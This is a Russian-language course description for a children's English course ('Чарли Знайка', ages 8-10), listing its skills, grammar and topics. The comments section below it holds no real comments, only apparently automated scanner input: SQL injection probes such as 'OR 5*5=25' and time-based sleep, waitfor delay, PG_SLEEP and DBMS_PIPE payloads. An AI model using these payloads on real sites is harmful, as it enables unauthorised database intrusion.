Like It!
Чарли Знайка (для детей 8-10 лет)
Английский для детей
школьники
—
Описание курса
Завершив обучение в рамках курса Чарли Знайка, ученик достигнет следующих результатов:
Коммуникативные функции
Здороваться, представлять себя и других людей.
Описывать людей и места.
Разговаривать об умениях, о принадлежности предметов.
Разговаривать о том, что происходит каждый день.
Разговаривать о событиях, происходящих сейчас.
Разговаривать о том, где ты был вчера, какая была погода.
Разговаривать о предпочтениях, интересах и хобби.
Разговаривать о местоположении предметов.
Говорить о том, что тебе нужно.
Разговаривать о нормах и правилах.
Спрашивать разрешения.
Сообщать о цели своих действий.
Давать и принимать советы о том, что делать, когда ты болеешь.
Сравнивать предметы.
Вести вежливую беседу.
Рассказывать шутки.
Говорение
Ученик умеет рассказывать стихи или петь песни с правильной интонацией и произношением.
Ученик умеет описывать предметы или людей, используя простые структуры и опираясь на образец. (7-8 предложений)
Ученик может поддержать простую беседу на одну из пройденных тем.
Аудирование
Учение понимает простые сообщения и инструкции, а также распознавать знакомые слова и конструкции.
Ученик понимает истории и рассказы, построенные на знакомых словах и выражениях, с опорой на картинки.
Ученик может догадаться о значении некоторых незнакомых слов из контекста.
Чтение
Ученик может прочитать текст, построенный на знакомых структурах и словах, с небольшим содержанием незнакомых слов.
Ученик умеет находить нужную информацию в тексте для ответа на вопрос.
Ученик может найти нужную информацию на плакате или простой карте.
Письмо
Ученик умеет писать простые предложения и тексты, с использованием ранее изученных структур.
Грамматика
Грамматика представлена в виде готовых структур, а не правил.
Вопросы и короткие ответы с have got и can
Апостроф ‘s’.
like, love, enjoy + -ing / существительное, want + инфинитив
Present Simple
Короткие ответы Yes, I do. / No, I don’t
Наречия частоты действия и вопрос How often…?
Present continuous
Предлоги места: above, below, near.
Неопределённая форма глагола для выражения цели.
Need
Must / mustn’t , can / can’t
Shall
Использование прилагательных
Сравнительная степень прилагательных (-er)
Past Simple глагола to be (was / were)
Разговорные темы
Основная информация о себе
Описание внешности и характера людей
Числа 20-100
Время на часах
Дни недели
Ежедневные действия
Моя семья
Здоровье и болезни
Животные и места их обитания
Погода
Одежда
Где ты живёшь?
Мой дом
Природа
Звуки и буквы (произношение)
Рифмующиеся слова
Звуки /ei/ и /ɑ:/ и буквы, их обозначающие
Звуки /əυ/ и /aυ/ и буквы, их обозначающие
Звук /ɔ:/ и буквы, его обозначающие
Звук /s/ и буква c
Звуки /i:/ и /e/ и буквосочетание ea
Звук /f/ и буквосочетание ph
Звук /w/
Межпредметные связи
Математика: подсчёт денег
Изобразительное искусство: портреты
Наука: сердце; здоровое тело; растения
Музыка: музыкальные инструменты
География: дома людей в разных частях света; места обитания животных
Воспитание ценностей
Умение делиться
Любовь к своему городу
Умение играть честно
Помощь миру и природе
Каждый уровень охватывает довольно обширную программу.
Для более точного подбора курса в соответствии со знаниями Вашего ребёнка, мы разделили каждый уровень на две ступени.
Одна ступень примерно соответствует целому году обучения в школе. С Allright.io Ваш ребёнок освоит английский в три раза быстрее!
Комментарии:
01/01/1967
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555ggBkO4Ny
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or 'mSh1dtHV'='
-1" OR 5*5=25 or "QZ0UA3GH"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555f9dUg85P'; waitfor delay '0:0:15' --
555-1 OR 989=(SELECT 989 FROM PG_SLEEP(15))--
555-1) OR 379=(SELECT 379 FROM PG_SLEEP(15))--
555-1)) OR 571=(SELECT 571 FROM PG_SLEEP(15))--
555RIdK16hB' OR 646=(SELECT 646 FROM PG_SLEEP(15))--
555tx3IfvHw') OR 116=(SELECT 116 FROM PG_SLEEP(15))--
555rmbXbZkn')) OR 243=(SELECT 243 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
@@DQhM2
(select 198766*667891)
(select 198766*667891 from DUAL)
555
555
555
555
555
555
555
555
555
555
555